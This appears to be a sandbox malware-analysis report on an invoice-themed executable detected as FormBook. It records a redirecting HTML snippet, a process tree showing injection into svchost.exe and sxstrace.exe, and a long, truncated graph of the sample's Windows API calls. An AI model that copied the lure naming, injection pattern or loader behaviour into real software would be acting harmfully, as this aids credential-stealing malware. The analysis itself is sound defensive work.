                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 7a 42 3d 6e 50 6c 68 5a 50 77 70 34 76 78 74 47 38 26 66 6e 72 3d 4a 6e 51 39 30 2b 32 74 50 5a 66 31 4e 77 36 39 36 6a 78 56 56 66 63 31 67 49 76 4b 73 6a 62 78 6f 4b 30 6f 52 42 54 37 57 38 78 72 48 7a 39 4b 71 32 6d 50 64 51 71 50 30 31 75 66 4c 74 55 76 7a 79 70 66 58 71 59 52 50 33 66 71 4d 36 54 6e 56 7a 51 77 48 44 34 57 43 6b 4a 61 74 76 2b 4e 49 32 66 33 38 37 4e 32 71 59 6a 79 53 4a 49 58 79 55 46 30 4c 43 4b 55 51 68 50 44 7a 62 2b 6c 59 51 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                          Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?zB=nPlhZPwp4vxtG8&fnr=JnQ90+2tPZf1Nw696jxVVfc1gIvKsjbxoK0oRBT7W8xrHz9Kq2mPdQqP01ufLtUvzypfXqYRP3fqM6TnVzQwHD4WCkJatv+NI2f387N2qYjySJIXyUF0LCKUQhPDzb+lYQ=="}</script></head></html>


                                                                                          Statistics

                                                                                          CPU Usage

                                                                                          Click to jump to process

                                                                                          Memory Usage

                                                                                          Click to jump to process

                                                                                          High Level Behavior Distribution

                                                                                          Click to dive into process behavior distribution

                                                                                          Behavior

                                                                                          Click to jump to process

                                                                                          System Behavior

                                                                                          General

                                                                                          Target ID:0
                                                                                          Start time:10:52:47
                                                                                          Start date:25/10/2024
                                                                                          Path:C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe"
                                                                                          Imagebase:0x400000
                                                                                          File size:1'349'827 bytes
                                                                                          MD5 hash:A60E9ACCA14BFDC154E146CD6749BAFB
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:low
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:2
                                                                                          Start time:10:52:50
                                                                                          Start date:25/10/2024
                                                                                          Path:C:\Windows\SysWOW64\svchost.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe"
                                                                                          Imagebase:0xb20000
                                                                                          File size:46'504 bytes
                                                                                          MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2300395624.0000000005ED0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2293797981.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2294470573.0000000003350000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:3
                                                                                          Start time:10:52:59
                                                                                          Start date:25/10/2024
                                                                                          Path:C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe"
                                                                                          Imagebase:0x8b0000
                                                                                          File size:140'800 bytes
                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3928342206.00000000026C0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                          Reputation:high
                                                                                          Has exited:false

                                                                                          General

                                                                                          Target ID:5
                                                                                          Start time:10:53:03
                                                                                          Start date:25/10/2024
                                                                                          Path:C:\Windows\SysWOW64\sxstrace.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Windows\SysWOW64\sxstrace.exe"
                                                                                          Imagebase:0x480000
                                                                                          File size:29'696 bytes
                                                                                          MD5 hash:209969CD31095C47FFB25959B10917F3
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3928315722.0000000004050000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3927412255.0000000002570000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3927066611.0000000000120000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          Reputation:low
                                                                                          Has exited:false

                                                                                          General

                                                                                          Target ID:6
                                                                                          Start time:10:53:16
                                                                                          Start date:25/10/2024
                                                                                          Path:C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe"
                                                                                          Imagebase:0x8b0000
                                                                                          File size:140'800 bytes
                                                                                          MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3930347018.0000000004DE0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                          Reputation:high
                                                                                          Has exited:false

                                                                                          General

                                                                                          Target ID:8
                                                                                          Start time:10:53:28
                                                                                          Start date:25/10/2024
                                                                                          Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                                          Imagebase:0x7ff79f9e0000
                                                                                          File size:676'768 bytes
                                                                                          MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                          Has elevated privileges:false
                                                                                          Has administrator privileges:false
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          Disassembly

                                                                                          Reset < >

                                                                                            Execution Graph

                                                                                            Execution Coverage:3.2%
                                                                                            Dynamic/Decrypted Code Coverage:2%
                                                                                            Signature Coverage:3.3%
                                                                                            Total number of Nodes:1692
                                                                                            Total number of Limit Nodes:43
                                                                                            execution_graph 84693 4444e4 84698 40d900 84693->84698 84695 4444ee 84702 43723d 84695->84702 84697 444504 84699 40d917 84698->84699 84700 40d909 84698->84700 84699->84700 84701 40d91c CloseHandle 84699->84701 84700->84695 84701->84695 84703 40d900 CloseHandle 84702->84703 84704 437247 ctype 84703->84704 84704->84697 84705 405a1a3 84708 4059e18 84705->84708 84707 405a1ef 84721 4057848 84708->84721 84711 4059ee8 CreateFileW 84712 4059eb7 84711->84712 84718 4059ef5 84711->84718 84713 4059f11 VirtualAlloc 84712->84713 84712->84718 84719 405a018 CloseHandle 84712->84719 84720 405a028 VirtualFree 84712->84720 84724 405ad28 GetPEB 84712->84724 84714 4059f32 ReadFile 84713->84714 84713->84718 84717 4059f50 VirtualAlloc 84714->84717 84714->84718 84715 405a104 VirtualFree 84716 405a112 84715->84716 84716->84707 84717->84712 84717->84718 84718->84715 84718->84716 84719->84712 84720->84712 84726 405acc8 GetPEB 84721->84726 84723 4057ed3 84723->84712 84725 405ad52 84724->84725 84725->84711 84727 405acf2 84726->84727 84727->84723 84728 444343 84731 444326 84728->84731 84730 44434e WriteFile 84732 444340 84731->84732 84733 4442c7 84731->84733 84732->84730 84738 40e190 SetFilePointerEx 84733->84738 84735 4442e0 SetFilePointerEx 84739 40e190 SetFilePointerEx 84735->84739 84737 4442ff 84737->84730 84738->84735 84739->84737 84740 46d22f 84743 46d098 84740->84743 84742 46d241 84744 46d0b5 84743->84744 84745 46d115 84744->84745 84746 46d0b9 84744->84746 84810 45c216 78 API calls 84745->84810 84787 41171a 84746->84787 84750 46d126 84752 46d0f8 84750->84752 84758 46d142 84750->84758 84751 46d0cc 84800 453063 84751->84800 84806 4092c0 84752->84806 84756 46d0fd 84756->84742 84759 46d1c8 84758->84759 84762 46d158 84758->84762 84820 4676a3 78 API calls 84759->84820 84765 453063 111 API calls 84762->84765 84763 46d0ea 84763->84758 84766 46d0ee 84763->84766 84764 46d1ce 84821 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 84764->84821 84774 46d15e 84765->84774 84766->84752 84805 44ade5 CloseHandle ctype 84766->84805 84767 46d18d 84811 467fce 82 API calls 84767->84811 84771 46d196 84812 4013a0 84771->84812 84772 46d1e7 84776 4092c0 VariantClear 84772->84776 84786 46d194 84772->84786 84774->84767 84774->84771 84776->84786 84778 46d1ac 84818 40d3b0 75 API calls 2 library calls 84778->84818 84780 46d224 84780->84742 84781 46d1b8 84819 467fce 82 API calls 84781->84819 84782 40d900 CloseHandle 84784 46d216 84782->84784 84822 44ade5 CloseHandle ctype 84784->84822 84786->84780 84786->84782 84789 411724 84787->84789 84790 41173e 84789->84790 84792 411740 std::bad_alloc::bad_alloc 84789->84792 84823 4138ba 84789->84823 84841 411afc 6 API calls __decode_pointer 84789->84841 84790->84751 84799 40d940 76 API calls 84790->84799 84797 411766 84792->84797 84842 411421 84792->84842 84794 411770 84846 41805b RaiseException 84794->84846 84845 4116fd 67 API calls std::exception::exception 84797->84845 84798 41177e 84799->84751 84801 45306e 84800->84801 84802 45307a 84800->84802 84801->84802 84984 452e2a 111 API calls 5 library calls 84801->84984 84804 40dfa0 83 API calls 84802->84804 84804->84763 84805->84752 84807 4092c8 ctype 84806->84807 84808 429db0 VariantClear 84807->84808 84809 4092d5 ctype 84807->84809 84808->84809 84809->84756 84810->84750 84811->84786 84813 41171a 75 API calls 84812->84813 84814 4013c4 84813->84814 84985 401380 84814->84985 84817 40df50 75 API calls 84817->84778 84818->84781 84819->84786 84820->84764 84821->84772 84822->84780 84824 41396d 84823->84824 84830 4138cc 84823->84830 84854 411afc 6 API calls __decode_pointer 84824->84854 84826 4138dd 84826->84830 84847 418252 67 API calls 2 library calls 84826->84847 84848 4180a7 67 API calls 7 library calls 84826->84848 84849 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84826->84849 84827 413973 84855 417f23 67 API calls __getptd_noexit 84827->84855 84830->84826 84833 413929 RtlAllocateHeap 84830->84833 84835 413965 84830->84835 84836 413959 84830->84836 84839 41395e 84830->84839 84850 41386b 67 API calls 4 library calls 84830->84850 84851 411afc 6 API calls __decode_pointer 84830->84851 84833->84830 84835->84789 84852 417f23 67 API calls __getptd_noexit 84836->84852 84853 417f23 67 API calls __getptd_noexit 84839->84853 84841->84789 84856 4113e5 84842->84856 84844 41142e 84844->84797 84845->84794 84846->84798 84847->84826 84848->84826 84850->84830 84851->84830 84852->84839 84853->84835 84854->84827 84855->84835 84857 4113f1 __locking 84856->84857 84864 41181b 84857->84864 84863 411412 __locking 84863->84844 84890 418407 84864->84890 84866 4113f6 84867 4112fa 84866->84867 84955 4169e9 TlsGetValue 84867->84955 84870 4169e9 __decode_pointer 6 API calls 84871 41131e 84870->84871 84882 4113a1 84871->84882 84965 4170e7 68 API calls 5 library calls 84871->84965 84873 41133c 84874 411388 84873->84874 84877 411357 84873->84877 84878 411366 84873->84878 84875 41696e __encode_pointer 6 API calls 84874->84875 84876 411396 84875->84876 84879 41696e __encode_pointer 6 API calls 84876->84879 84966 417047 73 API calls _realloc 84877->84966 84881 411360 84878->84881 84878->84882 84879->84882 84881->84878 84884 41137c 84881->84884 84967 417047 73 API calls _realloc 84881->84967 84887 41141b 84882->84887 84968 41696e TlsGetValue 84884->84968 84885 411376 84885->84882 84885->84884 84980 411824 84887->84980 84891 41841c 84890->84891 84892 41842f EnterCriticalSection 84890->84892 84897 418344 84891->84897 84892->84866 84894 418422 84894->84892 84925 4117af 67 API calls 3 library calls 84894->84925 84896 41842e 84896->84892 84898 418350 __locking 84897->84898 84899 418360 84898->84899 84900 418378 84898->84900 84926 418252 67 API calls 2 library calls 84899->84926 84906 418386 __locking 84900->84906 84929 416fb6 84900->84929 84902 418365 84927 4180a7 67 API calls 7 library calls 84902->84927 84906->84894 84907 41836c 84928 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84907->84928 84908 4183a7 84910 418407 __lock 67 API calls 84908->84910 84909 418398 84935 417f23 67 API calls __getptd_noexit 84909->84935 84913 4183ae 84910->84913 84915 4183e2 84913->84915 84916 4183b6 84913->84916 84918 413a88 __output_l 67 API calls 84915->84918 84936 4189e6 InitializeCriticalSectionAndSpinCount __locking 84916->84936 84920 4183d3 84918->84920 84919 4183c1 84919->84920 84937 413a88 84919->84937 84951 4183fe LeaveCriticalSection _doexit 84920->84951 84923 4183cd 84950 417f23 67 API calls __getptd_noexit 84923->84950 84925->84896 84926->84902 84927->84907 84931 416fbf 84929->84931 84930 4138ba _malloc 66 API calls 84930->84931 84931->84930 84932 416ff5 84931->84932 84933 416fd6 Sleep 84931->84933 84932->84908 84932->84909 84934 416feb 84933->84934 84934->84931 84934->84932 84935->84906 84936->84919 84938 413a94 __locking 84937->84938 84939 413ad3 84938->84939 84941 418407 __lock 65 API calls 84938->84941 84945 413b0d __locking __dosmaperr 84938->84945 84940 413ae8 RtlFreeHeap 84939->84940 84939->84945 84942 413afa 84940->84942 84940->84945 84947 413aab ___sbh_find_block 84941->84947 84954 417f23 67 API calls __getptd_noexit 84942->84954 84944 413aff GetLastError 84944->84945 84945->84923 84946 413ac5 84953 413ade LeaveCriticalSection _doexit 84946->84953 84947->84946 84952 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __fptostr 84947->84952 84950->84920 84951->84906 84952->84946 84953->84939 84954->84944 84956 416a01 84955->84956 84957 416a22 GetModuleHandleW 84955->84957 84956->84957 84958 416a0b TlsGetValue 84956->84958 84959 416a32 84957->84959 84960 416a3d GetProcAddress 84957->84960 84963 416a16 84958->84963 84978 41177f Sleep GetModuleHandleW 84959->84978 84962 41130e 84960->84962 84962->84870 84963->84957 84963->84962 84964 416a38 84964->84960 84964->84962 84965->84873 84966->84881 84967->84885 84969 4169a7 GetModuleHandleW 84968->84969 84970 416986 84968->84970 84972 4169c2 GetProcAddress 84969->84972 84973 4169b7 84969->84973 84970->84969 84971 416990 TlsGetValue 84970->84971 84977 41699b 84971->84977 84974 41699f 84972->84974 84979 41177f Sleep GetModuleHandleW 84973->84979 84974->84874 84976 4169bd 84976->84972 84976->84974 84977->84969 84977->84974 84978->84964 84979->84976 84983 41832d LeaveCriticalSection 84980->84983 84982 411420 84982->84863 84983->84982 84984->84802 84986 41171a 75 API calls 84985->84986 84987 401387 84986->84987 84987->84817 84988 40116e 84989 401119 DefWindowProcW 84988->84989 84990 429212 84995 410b90 84990->84995 84993 411421 __cinit 74 API calls 84994 42922f 84993->84994 84996 410b9a __write_nolock 84995->84996 84997 41171a 75 API calls 84996->84997 84998 410c31 GetModuleFileNameW 84997->84998 85012 413db0 84998->85012 85000 410c66 _wcsncat 85015 413e3c 85000->85015 85003 41171a 75 API calls 85004 410ca3 _wcscpy 85003->85004 85005 410cd1 RegOpenKeyExW 85004->85005 85006 429bc3 RegQueryValueExW 85005->85006 85007 410cf7 85005->85007 85008 429cd9 RegCloseKey 85006->85008 85010 429bf2 _wcscat _wcslen _wcsncpy 85006->85010 85007->84993 85009 41171a 75 API calls 85009->85010 85010->85009 85011 429cd8 85010->85011 85011->85008 85018 413b95 85012->85018 85048 41abec 85015->85048 85019 413c2f 85018->85019 85025 413bae 85018->85025 85020 413d60 85019->85020 85021 413d7b 85019->85021 85044 417f23 67 API calls __getptd_noexit 85020->85044 85046 417f23 67 API calls __getptd_noexit 85021->85046 85024 413d65 85030 413cfb 85024->85030 85045 417ebb 6 API calls 2 library calls 85024->85045 85025->85019 85028 413c1d 85025->85028 85040 41ab19 67 API calls __fptostr 85025->85040 85028->85019 85036 413c9b 85028->85036 85041 41ab19 67 API calls __fptostr 85028->85041 85029 413d03 85029->85019 85029->85030 85031 413d8e 85029->85031 85030->85000 85047 41ab19 67 API calls __fptostr 85031->85047 85032 413cd6 85032->85019 85032->85030 85037 413cef 85032->85037 85033 413cb9 85033->85019 85033->85032 85042 41ab19 67 API calls __fptostr 85033->85042 85036->85029 85036->85033 85043 41ab19 67 API calls __fptostr 85037->85043 85040->85028 85041->85036 85042->85032 85043->85030 85044->85024 85046->85024 85047->85030 85049 41ac02 85048->85049 85050 41abfd 85048->85050 85057 417f23 67 API calls __getptd_noexit 85049->85057 85050->85049 85055 41ac22 85050->85055 85052 41ac07 85058 417ebb 6 API calls 2 library calls 85052->85058 85056 410c99 85055->85056 85059 417f23 67 API calls __getptd_noexit 85055->85059 85056->85003 85057->85052 85059->85052 85060 401230 85061 401241 _memset 85060->85061 85062 4012c5 85060->85062 85075 401be0 85061->85075 85064 40126b 85065 4012ae KillTimer SetTimer 85064->85065 85066 42aa61 85064->85066 85067 401298 85064->85067 85065->85062 85070 42aa8b Shell_NotifyIconW 85066->85070 85071 42aa69 Shell_NotifyIconW 85066->85071 85068 4012a2 85067->85068 85069 42aaac 85067->85069 85068->85065 85074 42aaf8 Shell_NotifyIconW 85068->85074 85072 42aad7 Shell_NotifyIconW 85069->85072 85073 42aab5 Shell_NotifyIconW 85069->85073 85070->85065 85071->85065 85072->85065 85073->85065 85074->85065 85076 401bfb 85075->85076 85096 401cde 85075->85096 85077 4013a0 75 API calls 85076->85077 85078 401c0b 85077->85078 85079 42a9a0 LoadStringW 85078->85079 85080 401c18 85078->85080 85082 42a9bb 85079->85082 85097 4021e0 85080->85097 85110 40df50 75 API calls 85082->85110 85083 401c2d 85085 401c3a 85083->85085 85086 42a9cd 85083->85086 85085->85082 85087 401c44 85085->85087 85111 40d3b0 75 API calls 2 library calls 85086->85111 85109 40d3b0 75 API calls 2 library calls 85087->85109 85090 42a9dc 85091 42a9f0 85090->85091 85092 401c53 _memset _wcscpy _wcsncpy 85090->85092 85112 40d3b0 75 API calls 2 library calls 85091->85112 85095 401cc2 Shell_NotifyIconW 85092->85095 85094 42a9fe 85095->85096 85096->85064 85098 4021f1 _wcslen 85097->85098 85099 42a598 85097->85099 85102 402205 85098->85102 85103 402226 85098->85103 85114 40c740 85099->85114 85101 42a5a2 85113 404020 75 API calls ctype 85102->85113 85105 401380 75 API calls 85103->85105 85106 40222d 85105->85106 85106->85101 85108 41171a 75 API calls 85106->85108 85107 40220c _memcpy_s 85107->85083 85108->85107 85109->85092 85110->85092 85111->85090 85112->85094 85113->85107 85115 40c752 85114->85115 85116 40c747 85114->85116 85115->85101 85116->85115 85119 402ae0 85116->85119 85118 42a572 _memcpy_s 85118->85101 85120 42a06a 85119->85120 85121 402aef 85119->85121 85122 401380 75 API calls 85120->85122 85121->85118 85123 42a072 85122->85123 85124 41171a 75 API calls 85123->85124 85125 42a095 _memcpy_s 85124->85125 85125->85118 85126 4034b0 85127 4034b9 85126->85127 85128 4034bd 85126->85128 85129 41171a 75 API calls 85128->85129 85130 42a0ba 85128->85130 85131 4034fe _memcpy_s ctype 85129->85131 85132 40f110 RegOpenKeyExW 85133 40f13c RegQueryValueExW RegCloseKey 85132->85133 85134 40f15f 85132->85134 85133->85134 85135 416193 85172 41718c 85135->85172 85137 41619f GetStartupInfoW 85139 4161c2 85137->85139 85173 41aa31 HeapCreate 85139->85173 85141 416212 85175 416e29 GetModuleHandleW 85141->85175 85146 416223 __RTC_Initialize 85209 41b669 85146->85209 85148 416231 85149 41623d GetCommandLineW 85148->85149 85278 4117af 67 API calls 3 library calls 85148->85278 85224 42235f GetEnvironmentStringsW 85149->85224 85152 41624c 85230 4222b1 GetModuleFileNameW 85152->85230 85153 41623c 85153->85149 85155 416256 85156 416261 85155->85156 85279 4117af 67 API calls 3 library calls 85155->85279 85234 422082 85156->85234 85160 416272 85247 41186e 85160->85247 85163 416279 85165 416284 __wwincmdln 85163->85165 85281 4117af 67 API calls 3 library calls 85163->85281 85253 40d7f0 85165->85253 85168 4162b3 85283 411a4b 67 API calls _doexit 85168->85283 85171 4162b8 __locking 85172->85137 85174 416206 85173->85174 85174->85141 85276 41616a 67 API calls 3 library calls 85174->85276 85176 416e44 85175->85176 85177 416e3d 85175->85177 85179 416fac 85176->85179 85180 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 85176->85180 85284 41177f Sleep GetModuleHandleW 85177->85284 85294 416ad5 70 API calls 2 library calls 85179->85294 85182 416e97 TlsAlloc 85180->85182 85181 416e43 85181->85176 85185 416218 85182->85185 85186 416ee5 TlsSetValue 85182->85186 85185->85146 85277 41616a 67 API calls 3 library calls 85185->85277 85186->85185 85187 416ef6 85186->85187 85285 411a69 6 API calls 4 library calls 85187->85285 85189 416efb 85190 41696e __encode_pointer 6 API calls 85189->85190 85191 416f06 85190->85191 85192 41696e __encode_pointer 6 API calls 85191->85192 85193 416f16 85192->85193 85194 41696e __encode_pointer 6 API calls 85193->85194 85195 416f26 85194->85195 85196 41696e __encode_pointer 6 API calls 85195->85196 85197 416f36 85196->85197 85286 41828b InitializeCriticalSectionAndSpinCount ___lock_fhandle 85197->85286 85199 416f43 85199->85179 85200 4169e9 __decode_pointer 6 API calls 85199->85200 85201 416f57 85200->85201 85201->85179 85287 416ffb 85201->85287 85204 4169e9 __decode_pointer 6 API calls 85205 416f8a 85204->85205 85205->85179 85206 416f91 85205->85206 85293 416b12 67 API calls 5 library calls 85206->85293 85208 416f99 GetCurrentThreadId 85208->85185 85313 41718c 85209->85313 85211 41b675 GetStartupInfoA 85212 416ffb __calloc_crt 67 API calls 85211->85212 85219 41b696 85212->85219 85213 41b8b4 __locking 85213->85148 85214 41b831 GetStdHandle 85218 41b7fb 85214->85218 85215 416ffb __calloc_crt 67 API calls 85215->85219 85216 41b896 SetHandleCount 85216->85213 85217 41b843 GetFileType 85217->85218 85218->85213 85218->85214 85218->85216 85218->85217 85315 4189e6 InitializeCriticalSectionAndSpinCount __locking 85218->85315 85219->85213 85219->85215 85219->85218 85220 41b77e 85219->85220 85220->85213 85220->85218 85221 41b7a7 GetFileType 85220->85221 85314 4189e6 InitializeCriticalSectionAndSpinCount __locking 85220->85314 85221->85220 85225 422370 85224->85225 85226 422374 85224->85226 85225->85152 85227 416fb6 __malloc_crt 67 API calls 85226->85227 85229 422395 _memcpy_s 85227->85229 85228 42239c FreeEnvironmentStringsW 85228->85152 85229->85228 85231 4222e6 _wparse_cmdline 85230->85231 85232 416fb6 __malloc_crt 67 API calls 85231->85232 85233 422329 _wparse_cmdline 85231->85233 85232->85233 85233->85155 85235 42209a _wcslen 85234->85235 85239 416267 85234->85239 85236 416ffb __calloc_crt 67 API calls 85235->85236 85242 4220be _wcslen 85236->85242 85237 422123 85238 413a88 __output_l 67 API calls 85237->85238 85238->85239 85239->85160 85280 4117af 67 API calls 3 library calls 85239->85280 85240 416ffb __calloc_crt 67 API calls 85240->85242 85241 422149 85243 413a88 __output_l 67 API calls 85241->85243 85242->85237 85242->85239 85242->85240 85242->85241 85245 422108 85242->85245 85316 426349 67 API calls __fptostr 85242->85316 85243->85239 85245->85242 85317 417d93 10 API calls 3 library calls 85245->85317 85248 41187c __IsNonwritableInCurrentImage 85247->85248 85318 418486 85248->85318 85250 41189a __initterm_e 85251 411421 __cinit 74 API calls 85250->85251 85252 4118b9 __IsNonwritableInCurrentImage __initterm 85250->85252 85251->85252 85252->85163 85254 431bcb 85253->85254 85255 40d80c 85253->85255 85256 4092c0 VariantClear 85255->85256 85257 40d847 85256->85257 85322 40eb50 85257->85322 85260 40d877 85325 411ac6 67 API calls 4 library calls 85260->85325 85263 40d888 85326 411b24 67 API calls __fptostr 85263->85326 85265 40d891 85327 40f370 SystemParametersInfoW SystemParametersInfoW 85265->85327 85267 40d89f 85328 40d6d0 GetCurrentDirectoryW 85267->85328 85269 40d8a7 SystemParametersInfoW 85270 40d8d4 85269->85270 85271 40d8cd FreeLibrary 85269->85271 85272 4092c0 VariantClear 85270->85272 85271->85270 85273 40d8dd 85272->85273 85274 4092c0 VariantClear 85273->85274 85275 40d8e6 85274->85275 85275->85168 85282 411a1f 67 API calls _doexit 85275->85282 85276->85141 85277->85146 85278->85153 85279->85156 85280->85160 85281->85165 85282->85168 85283->85171 85284->85181 85285->85189 85286->85199 85289 417004 85287->85289 85290 416f70 85289->85290 85291 417022 Sleep 85289->85291 85295 422452 85289->85295 85290->85179 85290->85204 85292 417037 85291->85292 85292->85289 85292->85290 85293->85208 85294->85185 85296 42245e __locking 85295->85296 85297 422476 85296->85297 85307 422495 _memset 85296->85307 85308 417f23 67 API calls __getptd_noexit 85297->85308 85299 42247b 85309 417ebb 6 API calls 2 library calls 85299->85309 85300 422507 HeapAlloc 85300->85307 85302 42248b __locking 85302->85289 85304 418407 __lock 66 API calls 85304->85307 85307->85300 85307->85302 85307->85304 85310 41a74c 5 API calls 2 library calls 85307->85310 85311 42254e LeaveCriticalSection _doexit 85307->85311 85312 411afc 6 API calls __decode_pointer 85307->85312 85308->85299 85310->85307 85311->85307 85312->85307 85313->85211 85314->85220 85315->85218 85316->85242 85317->85245 85319 41848c 85318->85319 85320 41696e __encode_pointer 6 API calls 85319->85320 85321 4184a4 85319->85321 85320->85319 85321->85250 85366 40eb70 85322->85366 85325->85263 85326->85265 85327->85267 85370 401f80 85328->85370 85330 40d6f1 IsDebuggerPresent 85331 431a9d MessageBoxA 85330->85331 85332 40d6ff 85330->85332 85333 431ab6 85331->85333 85332->85333 85334 40d71f 85332->85334 85472 403e90 75 API calls 3 library calls 85333->85472 85440 40f3b0 85334->85440 85338 40d73a GetFullPathNameW 85470 401440 127 API calls _wcscat 85338->85470 85340 40d77a 85341 40d782 85340->85341 85342 431b09 SetCurrentDirectoryW 85340->85342 85343 40d78b 85341->85343 85473 43604b 6 API calls 85341->85473 85342->85341 85452 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85343->85452 85346 431b28 85346->85343 85348 431b30 GetModuleFileNameW 85346->85348 85350 431ba4 GetForegroundWindow ShellExecuteW 85348->85350 85351 431b4c 85348->85351 85353 40d7c7 85350->85353 85474 401b70 85351->85474 85352 40d795 85359 40d7a8 85352->85359 85460 40e1e0 85352->85460 85357 40d7d1 SetCurrentDirectoryW 85353->85357 85357->85269 85359->85353 85471 401000 Shell_NotifyIconW _memset 85359->85471 85360 431b66 85481 40d3b0 75 API calls 2 library calls 85360->85481 85363 431b72 GetForegroundWindow ShellExecuteW 85364 431b9f 85363->85364 85364->85353 85365 40eba0 LoadLibraryA GetProcAddress 85365->85260 85367 40d86e 85366->85367 85368 40eb76 LoadLibraryA 85366->85368 85367->85260 85367->85365 85368->85367 85369 40eb87 GetProcAddress 85368->85369 85369->85367 85482 40e680 85370->85482 85374 401fa2 GetModuleFileNameW 85500 40ff90 85374->85500 85376 401fbd 85512 4107b0 85376->85512 85379 401b70 75 API calls 85380 401fe4 85379->85380 85515 4019e0 85380->85515 85382 401ff2 85383 4092c0 VariantClear 85382->85383 85384 402002 85383->85384 85385 401b70 75 API calls 85384->85385 85386 40201c 85385->85386 85387 4019e0 76 API calls 85386->85387 85388 40202c 85387->85388 85389 401b70 75 API calls 85388->85389 85390 40203c 85389->85390 85523 40c3e0 85390->85523 85392 40204d 85541 40c060 85392->85541 85396 40206e 85553 4115d0 85396->85553 85399 42c174 85401 401a70 75 API calls 85399->85401 85400 402088 85402 4115d0 __wcsicoll 79 API calls 85400->85402 85403 42c189 85401->85403 85404 402093 85402->85404 85406 401a70 75 API calls 85403->85406 85404->85403 85405 40209e 85404->85405 85407 4115d0 __wcsicoll 79 API calls 85405->85407 85408 42c1a7 85406->85408 85409 4020a9 85407->85409 85410 42c1b0 GetModuleFileNameW 85408->85410 85409->85410 85411 4020b4 85409->85411 85413 401a70 75 API calls 85410->85413 85412 4115d0 __wcsicoll 79 API calls 85411->85412 85415 4020bf 85412->85415 85414 42c1e2 85413->85414 85565 40df50 75 API calls 85414->85565 85419 401a70 75 API calls 85415->85419 85423 42c20a _wcscpy 85415->85423 85431 